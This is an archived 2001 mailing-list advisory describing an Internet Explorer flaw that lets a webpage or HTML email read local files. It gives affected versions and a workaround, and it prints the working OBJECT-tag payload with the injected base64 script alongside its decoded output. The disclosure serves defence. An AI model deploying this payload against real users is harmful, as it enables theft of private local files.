Summary ------- There is a vulnerability in MS Internet Explorer that allows any webpage or HTML email to read arbitrary local files. This bug may also lead to remote command execution. Vulnerable versions ------------------- All versions of IE seem to be affected. The following configurations have been tested and are vulnerable: Windows 2000 pro, IE 5.50 Windows 2000 pro SP2, IE 6.0, fully patched Windows XP pro, IE 6.0 Workaround ---------- Disable ActiveX in Internet Explorer Exploit details --------------- The exploit is based on a very vague advisory postet to vuln-devat_private by NOMEN NESCIO SECURITY ALERT <hush.little.babyat_private> on 21/11/2001: http://www.securityfocus.com/archive/82/241482 Marc Fossi <mfossiat_private> suggests that this may be another way to exploit an old vulnerability discovered by Georgi Guninski: http://www.securityfocus.com/bid/1718 First we create either a "htmlfile_FullWindowEmbed" or a "htmlfile" object (both work): <OBJECT ID="myObject" CLASSID="CLSID:25336921-03F9-11CF-8FD0-00AA00686F13"> </OBJECT> Ok, alert(myObject.outerHTML); gives us the following: <OBJECT id=myObject classid=CLSID:25336921-03F9-11CF-8FD0-00AA00686F13 data=data:application/x-oleobject;base64,IGkzJfkDzxGP0ACqAGhvEzxwPiZuYnNw OzwvcD4= ></OBJECT> Decoding the Base64 string we get (hex dump): 20693325F903CF11 8FD000AA00686F13 .i3%.........ho. 3C703E266E627370 3B3C2F703E <p> </p> The first part is a GUID and the second one looks like HTML. We inject the string "<script>document.location.href="file://c:\\test.txt";</script>" into the object using <OBJECT ID="myObject" CLASSID="CLSID:25336921-03F9-11CF-8FD0-00AA00686F13" data="data:application/x-oleobject;base64,IGkzJfkDzxGP0ACqAGhvEzxzY3JpcHQ+ ZG9jdW1lbnQubG9jYXRpb24uaHJlZj0iZmlsZTovL2M6XFx0ZXN0LnR4dCI7PC9zY3JpcHQ+"> </OBJECT> (There are probably easier ways to do this but I'm not very familiar with IE coding). Now to the the interesting part. After c:\test.txt is loaded we can still access the data parameter of the object using myObject.outerHTML. This time it contains the Base64 encoded version of c:\test.txt among other things. So doing a alert(myObject.outerHTML); after the local file is loaded we get: <OBJECT id=myObject classid=CLSID:25336921-03F9-11CF-8FD0-00AA00686F13 data=data:application/x-oleobject;base64,IGkzJfkDzxGP0ACqAGhvEzwhRE9DV FlQRSBIVE1MIFBVQkxJQyAiLS8vVzNDLy9EVEQgSFRNTCA0LjAgVHJhbnNpdGlvbmFsLy9 FTiI+DQo8SFRNTD48SEVBRD4NCjxNRVRBIGh0dHAtZXF1aXY9Q29udGVudC1UeXBlIGNvb nRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD13aW5kb3dzLTEyNTIiPjwvSEVBRD4NCjxCT0R ZPjxYTVA+aGVsbG8gd29ybGQ8L1hNUD48L0JPRFk+PC9IVE1MPg0K ></OBJECT> with the Base64 string decoding to: 20693325F903CF11 8FD000AA00686F13 .i3%.........ho. 3C21444F43545950 452048544D4C2050 <!DOCTYPE.HTML.P 55424C494320222D 2F2F5733432F2F44 UBLIC."-//W3C//D 54442048544D4C20 342E30205472616E TD.HTML.4.0.Tran 736974696F6E616C 2F2F454E223E0D0A sitional//EN">.. 3C48544D4C3E3C48 4541443E0D0A3C4D <HTML><HEAD>..<M 4554412068747470 2D65717569763D43 ETA.http-equiv=C 6F6E74656E742D54 79706520636F6E74 ontent-Type.cont 656E743D22746578 742F68746D6C3B20 ent="text/html;. 636861727365743D 77696E646F77732D charset=windows- 31323532223E3C2F 484541443E0D0A3C 1252"></HEAD>..< 424F44593E3C584D 503E68656C6C6F20 BODY><XMP>hello. 776F726C643C2F58 4D503E3C2F424F44 world</XMP></BOD 593E3C2F48544D4C 3E0D0A Y></HTML>.. where "hello world" is the contents of c:\test.txt. It all boils down to an ordinary DOM circumvention with all the usual implications. Proof of concept exploit ------------------------ I have attached a zipped HTML file that reads c:\test.txt and displays it. regards, Markus Kern
This archive was generated by hypermail 2b30 : Sun Nov 25 2001 - 20:18:28 PST